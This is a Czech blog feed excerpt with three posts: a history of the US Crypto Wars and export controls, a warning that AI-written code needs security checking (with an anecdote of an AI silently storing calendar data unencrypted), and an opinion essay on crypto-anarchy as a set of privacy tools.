<p>V roce 1987 byl schválen Computer Security Act, který nařízení přibrzdil. Tento zákon dal hlavní odpovědnost za bezpečnost neutajovaných federálních počítačových systémů civilnímu NBS/NIST. NSA měla pomáhat technicky, ne být hlavní civilní autoritou.</p>
<h2>Šifrování do rukou lidem nepatří?</h2>
<p>&nbsp;</p>
<h2>A kdyby sme tam dali &#8222;zadní vrátka?&#8220;</h2>
<p><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky.png"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-3132" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-300x169.png" alt="" width="300" height="169" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-300x169.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-1024x576.png 1024w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-768x432.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-1536x864.png 1536w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-500x281.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-800x450.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-1280x720.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky.png 1672w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>16. dubna 1993 Bílý dům oznamuje Clipper Chip. Šlo o vládou podporovaný šifrovací čip pro zabezpečenou komunikaci, ale s key escrow mechanismem, tedy s možností vládního přístupu ke klíčům při zákonné autorizaci. To je ikonický symbol Crypto Wars: vláda už tuší, že úplně zakázat šifrování je složité, ale přecijen &#8211; když už mají lidé šifrovat, ať je v tom vestavěný přístup pro stát. Clipper měl tedy šifrovat, ale zároveň ke každé komunikaci přidávat speciální balíček pro policii. Ten balíček se jmenoval LEAF. LEAF měl obsahovat informaci, podle které by vláda po získání povolení mohla obnovit šifrovací klíč a komunikaci přečíst.<br />
Hned příští rok Matt Blaze &#8222;donutil&#8220; Clipper poslat vadný LEAF. Výsledek? Dva uživatelé spolu mohli normálně šifrovaně komunikovat, jejich zařízení komunikaci přijala, ale policie by z LEAF nedokázala získat správný klíč.<br />
Clipper tím přestal dávat smysl jako nástroj pro kontrolované odposlechy.<br />
Tady se ukázalo, že „bezpečný vládní zadní vchod“ není jen právní otázka, ale i křehký technický mechanismus.</p>
<blockquote><p>Vkládat &#8222;zadní vrátka&#8220; do šifrování je prostě špatný nápad (který se ale s železnou pravidelností vrací) &#8211; buď mohou selhat, nebo se k nim časem dostane i ten, pro koho nejsou určena.</p></blockquote>
<h2>První výstřely</h2>
<p>Phil Zimmermann v roce 1991 zveřejňuje PGP &#8211; způsob šifrovaní, který může použít běný uživatel pro svoje zprávy a soubory. Takové šifrování, které nebylo realistické prolomit běžnými prostředky. Zimmermann dal veřejnosti volně k dispozici něco, co bylo do té doby přístupné pouze vládním agenturám a akademikům.<br />
Ale nezapomeňme, že stále platí ITAR &#8211; zákaz vývozu zbraní mimo USA. A kryptografie je podle úřadů zbraň. Takže Phil Zimmermann je v roce 1993 předvolán k výslechu, protože je podezřelý z toho, že vyváží vyváží zbraně. Vyšetřování se táhlo až do roku 1996, kdy bylo ukončeno bez obžaloby.</p>
<p>A v roce  1997byl zdrojový kód PGP vytištěn jako kniha (přesněji 12 knih) a poslán do Evropy, kde byla kniha převedena zpět do elektronické podoby. To bylo legální. Jak to?<br />
Mezitím se totiž děly věci&#8230;</p>
<h3>Tohle triko je zbraň!<a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-3122" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2-225x225.jpg 225w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a></h3>
<p>Jestli něco umějí cypherpunks a kryptoanarchisté dobře (kromě šífrování, ochrany bezpečnosti a soukromí a dalších nepodstatných věcí) tak je to trolení úřadů. Šifrování je zbraň? Hodl my beer.<br />
Adam Back vytvořil v roce 1995 minimalistickou implementaci RSA v jazyce Perl. Ta byla tak krátká, že se dala na něco vytisknout. Třeba na tričko.<br />
A to taky Adam Back spolu s komunitou kolem Cypherpunk Mailing List udělali. Na tričko vytiskli varování</p>
<blockquote><p><strong>This shirt is classified as a munition and may not be exported from the United States, or shown to a foreign national</strong><br />
<em>(Toto triko je považováno za munici a nesmí být vyvezeno z USA, ani ukázáno žádnému cizinci)</em></p></blockquote>
<p>a samozřejmě onen kód v jazyce Perl, včetně čárového kódu k jeho naskenování.</p>
<h3>Disketu? Ne, raději knihu</h3>
<p>Phil Karn se v roce 1994 zeptal úřadů, jestli může vytisknout knihu Applied Cryptography a jestli může zdrojové kódy z knihy nahrát na disketu. Kniha nebyla považována za kontrolovanou podle ITAR, takže vytisknout ji bylo legální. Disketa? Ta exportní kontrole podléhá, protože je to strojově čitelný kryptografický software. Bez licence ji tedy nesmíš legálně vyvézt/poslat mimo USA.<br />
Je to jeden z nejlepších příkladů absurdity exportních pravidel: stejný kód na papíře byl řeč/publikace, ale na disketě už obranný artikl. I když v knize toho bylo dokonce mnohem víc.</p>
<p>Karn s tím nebyl úplně OK, a tak vládu zažaloval. V roce 1996 ale u okresního soudu neuspěl. Absurdní rozdíl mezi knihou a disketou nezmizel díky jeho soudní výhře, ale až později s uvolněním exportních pravidel.</p>
<p>I další se s vládou soudili &#8211; Daniel J. Bernstein chce publikovat algoritmus Snuffle, zdrojový kód a související akademický text. Tvrdí, že exportní pravidla mu brání učit, publikovat a diskutovat kryptografii. Soud vyhrál v roce 1996 a ustál i odvolání v roce 1999.</p>
<p>A právě tyto případy umožnily legální export PGP mimo USA: <strong>V elektronické podobě je PGP zbraň. Ale vytištěný na papíře je to svobodný projev chráněný Prvním dodatkem ústavy Spojených Států.</strong></p>
<p>Mimochodem, Zimmermannova firma PGP Inc. vydala v roce 1997 papírový newsletter &#8222;The Zimmermann Telegram&#8220;, aby šířila kryptografické informace poštou, protože papír měl větší ochranu než elektronický software. Název navíc odkazuje na tzv. Zimmermannův telegram z 1. světové války. Byl to tajný německý diplomatický vzkaz z roku 1917.<br />
Německo v něm nabízelo Mexiku spojenectví proti USA, pokud by USA vstoupily do války. Britové telegram zachytili a rozšifrovali.</p>
<h2>Konec?</h2>
<p>Situace byla pro úřady neudržitelná. Internet se dostal do domácností a &#8222;vývoz&#8220; software byl v podstatě neregulovatelný.</p>
<p>16. září 1999 oznamuje Clintonova administrativa zásadní liberalizaci exportu. Po technickém přezkumu má být možné exportovat produkty s libovolnou délkou klíče většině jednotlivců, firem a nevládních uživatelů mimo sankcionované/rizikové země. To je faktický začátek konce první fáze Crypto Wars v jejich &#8222;exportní&#8220; podobě.<br />
14. ledna 2000 pak začínají platit nová pravidla Commerce Department. Federal Register publikuje změny, které výrazně uvolňují export a reexport šifrovacího softwaru. U veřejného zdrojového kódu stačí oznámení a pravidla výslovně řeší zveřejnění na internetu. To je už praktický zlom: silná kryptografie se může stát normální součástí internetu, prohlížečů, e-mailu a komerčního softwaru.</p>
<h2>Následky</h2>
<p>Zdálo by se, že celé Crypto Wars byla jen epizoda s několika soudními spory a několika happeningy. Ale měly i vážnější následky &#8211; například první více veřejně rozšířený internetový prohlížeč Netscape Navigator měl silnější americkou verzi, mezinárodní verze musela používat slabší šifrování, typicky 40bitové.<br />
Exportní Lotus Notes měl 64bitové šifrování, ale 24 bitů klíče bylo zašifrováno pro NSA. Výsledkem bylo, že běžný útočník měl práci jako s 64 bity, ale NSA efektivně řešila jen 40 bitů. IBM/Lotus dostal povolení exportovat silnější produkt výměnou za to, že to vytvořilo privilegovaného útočníka.<br />
Debian musel historicky držet kryptografické balíčky na serveru mimo USA, protože export kryptografického kódu z USA byl problém.<br />
SSL podpora pro Apache se dlouho řešila mimo hlavní Apache a mimo USA, protože export mod_ssl/OpenSSL z USA byl právně problematický.<br />
Java měla dlouho omezenou kryptografickou politiku a „unlimited strength“ se muselo doinstalovat zvlášť. Oracle zapnul unlimited crypto defaultně až v JDK 8u161, tedy v roce 2018.<br />
Kvůli exportním limitům vznikly speciální „step-up“ SSL certifikáty, které dovolily některým webům zvednout slabé 40/56bitové šifrování na 128 bitů.</p>
<p>A následky byly i dlouhodobé &#8211; slabé exportní režimy v TLS/SSL přežily v implementacích a o mnoho let později vedly k reálným útokům. FREAK zneužíval export RSA, Logjam export Diffie-Hellman a DROWN slabiny SSLv2/exportní crypto. <strong>Technický dluh přežil politiku o 15-20 let.</strong></p>
<h2>Čtyři jezdci infokalypsy</h2>
<p>Timothy C. May tomu říkal „čtyři jezdci infokalypsy“: teroristé, pedofilové, drogoví dealeři a finanční zločinci. Nešlo mu o to, že tyto hrozby neexistují, ale o to, že se pořád dokola používají jako univerzální argument pro omezení šifrování, anonymity a soukromí.</p>
<p>Dnešní americká pravidla už většinou neblokují export silné kryptografie jako v 90. letech, ale stopa Crypto Wars nezmizela úplně: u některého veřejného kryptografického kódu se stále pracuje s oznamovací povinností a komerční produkty s kryptografií mohou pořád spadat do exportní klasifikace.</p>
<p>Ale není to jen záležitost USA.</p>
<p>Politici totiž rádi opakují hlavně chyby svých předchůdců s tím, že</p>
<h3>&#8222;Tentokrát to bude jiné, slibuju&#8220;</h3>
<p>První Crypto Wars neskončily tím, že by se státy smířily se silným šifrováním. Jen se změnil jazyk. Po roce 2000 už politici většinou nemluvili o zákazu kryptografie nebo exportu „munice“, ale o „lawful access“, „technical capability“, „traceability“ nebo „client-side scanning“. V praxi šlo často o totéž: vytvořit cestu, jak se stát může dostat k obsahu komunikace, i když ji uživatelé považují za soukromou a chráněnou end-to-end šifrováním. Vidět to bylo v americkém sporu FBI s Applem po útoku v San Bernardinu, v britských tajných technických příkazech podle Investigatory Powers Act, v australském Assistance and Access Act, v indickém požadavku na dohledání původce zprávy, v ruském tlaku na Telegram nebo v evropské debatě o Chat Controlu. Argumenty?<br />
Terorismus, organizovaný zločin, ochrana dětí, národní bezpečnost.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/cryptowars-muze-vlada-zakazat-matematiku/">Crypto Wars &#8211; může vláda zakázat matematiku?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</title>
		<link>https://www.digitalnisebeobrana.cz/promptpunk-i-dont-vibe-verify/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 15:01:30 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[webapp]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=2259</guid>

					<description><![CDATA[<p>Když AI vygeneruje kód, který umožní útočníkům získat data našich uživatelů, reputační problém máme my, nikoli AI agent. Těžko můžeme při úniku dat ukázat prstem na AI agenta s tím, že "za to může on!"</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" class="size-vp_sm wp-image-2302 alignnone" src="/wp-content/uploads/2026/05/AIberePraci-500x281.png" alt="" width="500" height="281" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-500x281.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-300x169.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-1024x576.png 1024w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-768x432.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-1536x864.png 1536w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-800x450.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-1280x720.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci.png 1672w" sizes="auto, (max-width: 500px) 100vw, 500px" /></p>
<blockquote><p>AI nám bere kontrolu nad vývojem, bezpečností a daty!<br />
A bere práci programátorům.</p></blockquote>
<p>AI nám nic nesebrala. Nemůže. Tu moc nemá. Ale i kdyby měla, nemusela by. My jsme jí kontrolu nad vývojem, bezpečností a daty předali sami. Protože je to pohodlné, rychlé a často to překvapivě dobře funguje.</p>
<p>Problém není, když kód nefunguje. To poznáme hned a můžeme ho opravit. Problém je, když kód nějak funguje, ale v pozadí dělá něco jiného, než by se nám líbilo. V bezpečnosti totiž to, že něco nějak funguje vůbec nestačí.<br />
Měli bychom vědět, jak to funguje, a když se něco změní, tak co to bylo a kde.</p>
<h2>Nový aktér</h2>
<p>O AI často mluvíme jako o nástroji. Podobně jako o textovém editoru, vyhledávači nebo &#8222;autocomplete&#8220;.<br />
Jenže AI není jen obyčejný nástroj.<br />
AI:</p>
<ul>
<li>čte zadání</li>
<li>interpretuje záměr</li>
<li>navrhuje architekturu</li>
<li>píše kód</li>
<li>upravuje konfiguraci</li>
<li>doporučuje knihovny</li>
<li>vysvětluje chyby</li>
<li><strong>a často i spouští příkazy</strong></li>
</ul>
<p>Takže v bezpečnostním modelu už to není pasivní kladivo. Je to další aktér, který se účastní rozhodování &#8211; threat model se rozšířil.<br />
Když držím v ruce kladivo jako nástroj, já se rozhoduji o tom, jakou silou, do čeho a jestli vůbec do něčeho praštím.</p>
<p>AI je kladivo, které si o tom všem rozhoduje samo, jen na základě našich instrukcí (promptů). A je nutné si uvědomovat, že my jsme ti, kdo nese zodpovědnost.<br />
Můžu kladivu zadat úkol &#8211; <code>"Zatloukej hřebíky!"</code>.<br />
AI kladivo &#8222;vidí&#8220; hřebík. Vyhodnocuje &#8211; <code>"Hm, hřebík, zatluču ho. A je velkej, dám do toho větší sílu"</code>.<br />
A vy pak koukáte, jak AI kladivo mlátí do háčku ve zdi. Do háčku v sádrokartonové zdi. Do háčku, na kterém jsou klíče od auta.</p>
<h2>AI udělala chybu. My máme problém.</h2>
<p>Delegovali jsme na AI nejen vývoj, ale i kontrolu. A dost často jen zdání kontroly. V chatu nám AI tvrdí, že vše je bezpečné. Ale je to tak opravdu?<br />
Když AI vygeneruje kód, který umožní útočníkům získat data našich uživatelů, reputační problém máme my, nikoli AI agent. Těžko můžeme při úniku dat ukázat prstem na AI agenta s tím, že &#8222;za to může on!&#8220;<br />
Našeho (teď již dost možná bývalého) zákazníka většinou nezajímá, jak byla aplikace vytvořena. Vy ji nabízíte, můžete si za ni i účtovat peníze, tak je vaše zodpovědnost, že data uživatelů zůstanou tam, kde mají být.</p>
<h3>Cesta už není cíl</h3>
<p>Možnosti vibe codingu umožnily vytvářet aplikace i těm, kteří nikdy nic neprogramovali. Není problém to, že někdo nezná konkrétní syntaxi nějakého programovacího jazyka. To je totiž jen malá část celého programování.<br />
Mezi další důležité součásti vývoje patří např. algoritmizace, propojení jednotlivých částí, nakládání s pamětí, daty a další. Před nástupem vibe coding nástrojů se často programovalo tak, že se jednotlivé části kódu prostě kopírovaly ze stránek typu StackOverflow. Nebylo to ideální, ale autor měl alespoň představu, jakým způsobem funguje např. přihlašování k aplikaci, protože věděl, že musel vytvářet (nebo kopírovat) kód pro běh databáze, přihlašovací formulář na webu a také kód pro server, který data z formuláře porovnával, případně ukládal do té databáze. Takže autor aplikace si možná nepamatoval konkrétní příkaz pro uložení hesla do databáze, ale alespoň věděl, jaká ta cesta hesla do databáze byla a jestli bylo heslo uloženo bezpečně. Dnes? Zadáme &#8222;Vytvoř přihlašování pro moji aplikaci&#8220;. Enter. A během chvilky máme přihlašování.</p>
<h2>Nová funkce -&gt; nové dveře</h2>
<p>Takže máme přihlašování. Ale je heslo v databázi uloženo bezpečně nebo je normálně čitelné? Co když zadám do přihlašovacího formuláře něco, co se tam normálně neočekává, například kus kódu? Nebudu schopen přečíst si všechna data z vaší databáze? Nebo se změnou nějakého parametru přihlásit jako jiný uživatel bez toho, že bych znal jeho/její heslo?</p>
<p>Možná si na přihlašování dáme větší pozor, protože tak nějak tušíme, že nakládání s přihlašovacími údaji je kritická část.</p>
<h3>Ale co další, na první pohled nevinné funkce?</h3>
<p>„Přidej upload souborů“. Zní jako běžná funkce. Ale najednou řešíte:</p>
<ul>
<li>Kdo soubor vidí?</li>
<li>Kde je uložený?</li>
<li>Jde stáhnout bez přihlášení?</li>
<li>Může někdo nahrát něco nečekaného?</li>
<li>Zůstane tam soubor i po smazání účtu?</li>
</ul>
<p>Upload není jen „ulož soubor“. Je to nové skladiště cizích dat.</p>
<p>„Přidej sdílení odkazem“</p>
<p>Zní to jako jednoduchá pohodlná funkce.</p>
<ul>
<li>Kdo ten odkaz může otevřít?</li>
<li>Dá se odkaz uhodnout?</li>
<li>Jde později zneplatnit?</li>
<li>Zobrazí víc dat, než by měl?</li>
<li>Indexuje ho někde crawler?</li>
</ul>
<p>Sdílecí odkaz je v podstatě druhé přihlášení. Jen je bez hesla.</p>
<p>Ještě?</p>
<p>„Přidej export do PDF“</p>
<ul>
<li>Zní neškodně, protože uživatel si jen stáhne vlastní data.</li>
<li>Co všechno se do PDF dostane?</li>
<li>Jsou tam metadata?</li>
<li>Je PDF někde dočasně uložené?</li>
<li>Může si někdo stáhnout cizí export?</li>
<li>Zůstávají exporty na serveru?</li>
</ul>
<p>Export často vytvoří druhou kopii dat. A ta druhá kopie už nemusí mít stejnou ochranu jako originál.</p>
<p>Příklady by se daly vymyslet asi na většinu funkcí vaší aplikace. A víte jistě, že tohle vaše AI řeší?</p>
<p><strong>Neudělá tu novou funkci prostě rychle a jednoduše, aby vám udělala radost?</strong></p>
<h2>AI nevymýšlí nové chyby, vyrábí je ve větším tempu.</h2>
<p>U vibe codingu často nejde o úplně nové typy chyb. Jsou to věci, které známe už dlouho: uživatel vidí data někoho jiného, soubor je dostupný bez přihlášení, citlivé údaje skončí v databázi v čitelné podobě, aplikace zapomene ověřit, kdo má k čemu přístup, nebo se do projektu přidá knihovna, které nikdo nerozumí.<br />
Nové je hlavně tempo. Dřív člověk takovou chybu napsal ručně v jedné části aplikace. Dneska AI během pár minut přidá login, upload, export, sdílení a API &#8211; a stejný typ chyby se může objevit na více místech najednou.</p>
<p><em><strong>AI není nový druh chyby. AI je zrychlovač starých chyb.</strong></em></p>
<h2>(Téměř) Fuck Up ze života</h2>
<p>Nejsem programátor. Sice už jsem v životě několik málo věcí naprogramoval, ale nikdy jsem se tomu dlouhodobě nevěnoval. A podle toho to vypadalo. Moje výtvory &#8222;nějak&#8220; fungovaly, ale spíše jen pro moje osobní použití, peníze bych si za to brát asi nemohl.</p>
<p>S nástupem AI nástrojů jsem se rozhodl &#8222;přepsat&#8220; jeden můj starší projekt do obecně použitelné podoby. A protože to znamenalo i nakládání s daty uživatelů, chtěl jsem to mít nastavené tak, že ani já jako provozovatel serveru nemám být schopný data uživatelů číst.</p>
<p>Takže jedno ze základních zadání nebylo jen &#8222;nějak tam dej šifrování&#8220;. Byl to konkrétní požadavek na koncové (end-to-end) šifrování. Protože nejenom, že mě data uživatelů nezajímají. Já je nechci mít v čitelné podobě i pro případ, že by ze serveru unikly, což je riziko, které nesou všichni, kdo nakládají s daty uživatelů, ať jde o malý projekt jednoho autora, nebo velké mezinárodní korporace. Stát se to prostě může &#8211; a stává se to.</p>
<p>Vývoj pokračoval poměrně dobře, AI programovala jak divá, všechno tak nějak fungovalo podle očekávání.</p>
<p>Později jsem přidal export do internetového kalendáře. Praktická funkce, celkem normální požadavek. AI funkci naprogramovala. Fungovalo to.</p>
<p>Po nějaké době jsem chtěl vědět, jestli je opravdu vše v databázi zašifrováno. Data z aplikace šifrovaná byla. Ale vedle těch dat byla tabulka s daty pro export do internetového kalendáře. V čitelné podobě. Ta samá data, která byla &#8222;vedle&#8220; bezpečně šifrovaná.</p>
<p>Export do kalendáře totiž není možné koncově šifrovat. Můj požadavek (z mojí neznalosti) šel proti jednomu ze základních pravidel.</p>
<p>AI implementovala funkci, splnila úkol. Ale že tím porušila jedno ze základních pravidel, mi jaksi zapomněla oznámit.</p>
<p>Je to jako dát na dveře kvalitní zámek, ale pak kvůli pohodlí udělat vedle druhé dveře bez zámku. Ten první zámek pořád existuje. Jen už nechrání celou cestu.<br />
Šifrování nebylo prolomené. Bylo obejité. Ne hackerem. Vývojářem.</p>
<p>Mojí výhodou je, že se bezpečností zabývám. Takže nejenže vím, jak si to zkontrolovat, ale hlavně vím, co si mám kontrolovat. A že si to mám kontrolovat. Takže jsem se s tím mohl vypořádat a automatický export do kalendáře jsem vypnul.</p>
<p>Ale pokud bych to neudělal, sliboval bych svým zákazníkům něco, co není pravda. A pravděpodobně by se na to časem přišlo. A to bych vážně nerad:)</p>
<h2>Don&#8217;t vibe. Verify.</h2>
<p>Nechci tím říct, že nemáme vibe codovat. Já to taky dělám. AI je skvělá na rychlé prototypy, refactoring, hledání řešení, generování částí kódu nebo vysvětlování problémů. Problém není vibe coding. Problém je, když zůstane jen vibe &#8211; když přijmu výsledek, protože vypadá dobře, ale neověřím, co se změnilo.</p>
<p>V kryptu známe „Don’t trust, verify“. Neznamená to „nikdy nikomu nevěř, nikdy nic nepoužívej“. Znamená to: důvěra není kontrola.</p>
<p>A přesně to samé platí pro AI. Don’t vibe. Verify neznamená „nepoužívej AI“. Znamená to: nepřijímej výsledek jen podle dojmu. Ověř sliby, data, oprávnění a nové dveře, které jsi právě vytvořil.</p>
<blockquote><p>Everyone knows that debugging is twice as hard as writing a program in the first place. So if you&#8217;re as clever as you can be when you write it, how will you ever debug it?</p>
<p>— Brian Kernighan, The Elements of Programming Style, 2nd edition, chapter 2</p></blockquote>
<p>The post <a href="https://www.digitalnisebeobrana.cz/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kryptoanarchie – šifrou ke svobodě</title>
		<link>https://www.digitalnisebeobrana.cz/kryptoanarchie-sifrou-ke-svobode/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 22 May 2025 09:16:04 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[cryptoanarchy]]></category>
		<category><![CDATA[kryptoanarchie]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=2214</guid>

					<description><![CDATA[<p>Kryptoanarchie jsou nástroje, pomocí kterých se jedinec může vyhnout tlaku společnosti na plnění pravidel a/nebo dodržování práv ostatních.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/kryptoanarchie-sifrou-ke-svobode/">Kryptoanarchie – šifrou ke svobodě</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="blog-detail__article">
<p>&nbsp;</p>
<p>Kryptoanarchie bývá často porovnávána se společenskými ideologiemi jako anarchokomunismus, anarchokapitalismus a dalšími. Toto srovnání nemůže fungovat z jednoho prostého důvodu. Kryptoanarchie není ideologie, která společnosti navrhuje (nebo nařizuje), jakým způsobem má být řízena a jaká pravidla by společnost měla dodržovat. Kryptoanarchie totiž není společenský systém.</p>
<p>Aby fungovala demokracie, anarchokomunismus, anarchokapitalismus nebo třeba monarchie je potřeba síla k tomu, aby se takový systém udržel. Bud dostatečné množství lidí, kteří se spoji dohromady nebo velmi silný (ať už ekonomicky nebo sociálně) jedinec či skupina. Dostatečně silný jedinec může ovládnout demokratickou společnost bez ohledu na názor většiny (např. KSČ stačilo pro ovládnutí celého Československa na 40 let získat ve volbách v roce 1946 “pouhých” 31,2 % hlasů). Podobně je neudržitelný koncept anarchokapitalismu, pokud není možnost vynucovat tzv. Non-Agressive Principle. Komunisté si nevynutí odevzdání soukromého majetku na dostatečně silném subjektu.<br />
Kryptoanarchisté se většinou nesnaží měnit společnost. Jejich cílem je taková míra soukromí a bezpečnosti, která zajišťuje dostatečnou míru svobody. A samotná míra dostatečné svobody je individuální.</p>
<p><strong>Kryptoanarchie je tedy spíše soubor nástrojů a technik</strong>, které pomáhají zachovat si takovou míru soukromí a bezpečnosti, která je pro jednotlivce nebo společenství dosažitelná nebo cílená. Základním nástrojem kryptoanarchie je šifrování informací. Použití takových technik, které znemožní tomu, před kterým informace skrýt nejen danou informaci získat, ale ani se o existenci takové informace dozvědět. Ať už se jedná o komunikaci, elektronická data nebo třeba finanční transakci. Tyto nástroje nemusí být nutně vysoce sofistikované nebo vyžadující výkonnou výpočetní techniku. Chcete spolužákovi sedícímu vedle vás v lavici poradit s těžkým příkladem při písemce tak, aby to učitel nevěděl, nebo chcete svému partnerovi sdělit něco velmi soukromého, ale jste obklopeni dalšími lidmi? Použijete velmi jednoduchou techniku – pošeptáte mu to.</p>
<p>Tento soubor technik a nástrojů není a pravděpodobně nikdy nebude definitivní. Nelze napsat Bibli kryptoanarchie, která by platná navěky. Stejně jako se vyvíjí společnost a technologie, vyvíjí se i kryptoanarchie. Potřeba soukromí byla jiná (možná žádná) v prvotně pospolné společnosti, jiná ve starém Římě, jiná je dnes v době digitální revoluce a opět jiná bude v budoucnosti (například při pobytu ve vesmírných lodích nebo při osidlováni jiných kosmických objektu). Stejně tak se vyvíjejí i technologie, které se snaží šifrované informace odhalit. Šifrovací techniky, které byly považovány za bezpečné před dvaceti lety jsou dnes většinou nepoužitelné, prolomit se dají v řádu minut. Ptát se, kdy bude kryptoanarchie “hotová”, je podobné jako ptát se, kdy bude hotový Internet.</p>
<p>Kryptoanarchie může navíc nabourávat jakýkoliv sociální systém. Vyřazuje ze hry státní i soukromé soudy, policii a armádu. Pokud neznáte pachatele, nemůžete ho soudit a/nebo odstranit (zavřít či zabít) pro porušení zákona nebo NAP (princip neagrese). Kryptoanarchie neřeší otázku volného či regulovaného trhu. Volný trh je vlastně její pevnou součástí. Nelze regulovat něco, o čem se regulátor nedozví a nemůže trestat někoho, koho nezná.</p>
<p>Sociální systémy jsou založeny na právech a povinnostech. Jediné přirozené povinnosti jsou ty, které jsou pudové. Například přirozená povinnost matky postarat se o své potomky. A ani ta není mimo sociální systém nijak vymahatelná. Vše ostatní, jak povinnosti, tak práva jsou umělý konstrukt, který je vymáhán sociálním systémem.</p>
<h4>Jediné “právo”, které platí univerzálně, je právo silnějšího. Jak v přírodě (živé i neživé), tak ve společnosti.</h4>
<p>Proč máme povinnost platit daně, podrobovat se rozsudkům soudů a sdílet svá soukromá data s vládci? Silnější tak rozhodl. V tomto případě je ten silnější dostatečné množství lidí (což nutně neznamená většina), kteří jsou schopni tyto povinnosti vymáhat pod hrozbou násilí. Neplatí to pouze pro lidská společenství, příklady najdeme i v přírodě. Proč má mravenčí královna (která je ve skutečnosti spíše otrokem) za povinnost celý svůj život strávit plozením nových generací v malém prostoru hluboko v mraveništi? Protože pokud by se této povinnosti vzepřela, mravenčí společnost by ji potrestala. Taková královna by měla život kratší, než je životnost slibů politiků po volbách.</p>
<p><img loading="lazy" decoding="async" class="size-medium wp-image-5276 alignright" src="https://web.archive.org/web/20200622025928im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-300x225.jpg" sizes="auto, (max-width: 300px) 100vw, 300px" srcset="https://web.archive.org/web/20200622025928im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-300x225.jpg 300w, https://web.archive.org/web/20200622025928im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-600x450.jpg 600w, https://web.archive.org/web/20200622025928im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-768x576.jpg 768w, https://web.archive.org/web/20200622025928im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-1024x768.jpg 1024w, https://web.archive.org/web/20200622025928im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920.jpg 1920w" alt="" width="300" height="225" /></p>
<p>Neexistuje žádné přirozené právo na život. Vymyslela ho lidská společnost a dohodla se (ať už dobrovolně nebo nedobrovolně), že ho bude vynucovat. Stejně tak právo na osobní vlastnictví nebo “důstojný život”. V přírodě se antilopa před lvem neohání listinou základních práv a svobod zvířat. Ví, že musí utéct, nic jiného jí nezbývá.</p>
